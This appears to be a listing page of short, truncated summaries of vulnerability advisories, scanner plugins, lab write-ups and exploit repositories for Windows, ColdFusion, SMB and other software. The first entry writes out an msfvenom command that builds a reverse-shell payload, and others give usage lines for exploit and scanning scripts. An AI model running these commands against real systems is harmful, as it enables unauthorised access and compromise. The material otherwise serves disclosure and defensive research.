CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py This server will...

CVE-2025-5548

Memory Corruption Research & Exploitation Lab CVE-2025-5548 Advanced Vulnerability Analysis on Windows 11 Environment English Version Project Overview This repository documents a professional-grade cybersecurity research project focused on CVE-2025-5548 : a Stack-based Buffer Overflow vulnerabili...

CLEANSTART-2026-WR32003 On Windows, when the target of Root

CVE-2026-56857 affects multiple packages. On Windows, when the target of Root. See references for individual vulnerability details...

CVE-2025-1974

cve-2025-1974-win11-attack-defense-lab Windows 11-first educational repository for studying CVE-2025-1974 in a safe, non-weaponized ATTACK + DEFENSE lab. The project is designed for university coursework, team demos, and report-ready screenshots. It emphasizes clean-room implementation, local-onl...

CVE-2026-33829-Writeup

CVE-2026-33829-Writeup Vulnerability Case Study: CVE-2026-33829 Windows Snipping Tool NTLM Coercion Executive Summary This write-up details the technical replication of CVE-2026-33829 , an information disclosure vulnerability within the modern Windows Snipping Tool application framework. By abusi...

CVE-2025-14847-PoC

CVE-2025-14847 Proof of Concept Academic & Defensive Research Notice This repository contains a proof-of-concept PoC developed strictly for academic analysis, defensive research, and vulnerability validation purposes. The objective of this project is to help security researchers, defenders, and...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...

SOC335-CVE-2024-49138-Investigation

SOC335 – CVE-2024-49138 Exploitation Investigation Overview This project documents a SOC investigation of a CVE-2024-49138 exploitation alert using the LetsDefend platform. The investigation involved analyzing network logs, researching indicators of compromise, determining whether suspicious...

Palo Alto GlobalProtect App 6.0.x < 6.0.15 / 6.2.x < 6.2.8-h15 / 6.3.x < 6.3.3-h16 Local DoS (CVE-2026-0314)

The version of Palo Alto GlobalProtect App installed on the remote Windows host is 6.0.x prior to 6.0.15, 6.2.x prior to 6.2.8-h15, or 6.3.x prior to 6.3.3-h16. It is, therefore, affected by a denial of service vulnerability: - A type confusion vulnerability in Palo Alto Networks GlobalProtect ap...

Linux Distros Unpatched Vulnerability : CVE-2026-96644

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf...

VulnCheck KEV: CVE-2018-25439

MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the strreplace filter to read files like...

PT-2026-121516

A 32-bit integer wraparound in the MongoDB C Driver's Windows-only Kerberos/SSPI authentication code can cause an undersized heap buffer to be allocated when an excessively long credential value is supplied in the client's connection configuration. A party able to control that client-side...

Citrix Workspace App for Windows Out-of-bounds Write (CVE-2026-84419) (CTX697181)

The version of Citrix Workspace App for Windows installed on the remote host is 2507.1 LTSR prior to 2507.1 LTSR CU3 Hotfix 1, or Current Release prior to 2603.20, or 2607 LTSR prior to 2607 LTSR Hotfix 1. It is, therefore, affected by an out-of-bounds write vulnerability as referenced in the...

Citrix Workspace App for Windows Out-of-bounds Read and Write (CVE-2026-84420) (CTX697181)

The version of Citrix Workspace App for Windows installed on the remote host is 2507.1 LTSR prior to 2507.1 LTSR CU3, or Current Release prior to 2603.20. It is, therefore, affected by an out-of-bounds read and out-of-bounds write vulnerability as referenced in the CTX697181 advisory. -...

smbghost

SMBGhost Scanner CVE-2020-0796 SMBv3 vulnerability scanner SMBGhost. Detects vulnerable Windows hosts by sending a malformed SMBv3 negotiation packet and checking the response. Usage Single host python3 scanner.py -H 10.0.0.5 Host list python3 scanner.py -l targets.txt Network segment python3...

ms08-067

📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...

CVE-2019-5392-for-Python3

Python3 compatable version for CVE 2019-5392. You do not have to install python2.7. Run it on your terminal with python3 installed. USAGE: cve.py python3 cve.py 2810 "C:\Windows\Temp"...

CVE-2025-66680

CVE-2025-66680 In Wise Force Deleter 1.5.7.59 and earlier, an attacker with local administrator access can delete arbitrary file in the file system by weaponizing the app. Usage 1. Place WiseDelfile64.sys in C:\Windows 2. Compile the project 3. Create file.txt which contain the a list of files yo...

cve-2024-49039-task_scheduler_eop_reproduction

CVE-2024-49039: Windows Task Scheduler Elevation of Privilege Vulnerability Overview CVE-2024-49039 is a Windows Task Scheduler Elevation of Privilege EoP vulnerability that allows an authenticated attacker to escape the AppContainer sandbox, elevating from Low integrity AppContainer to Medium...

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

CVE-2024-0670 – CheckMK Agent Local Privilege Escalation PoC This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file path...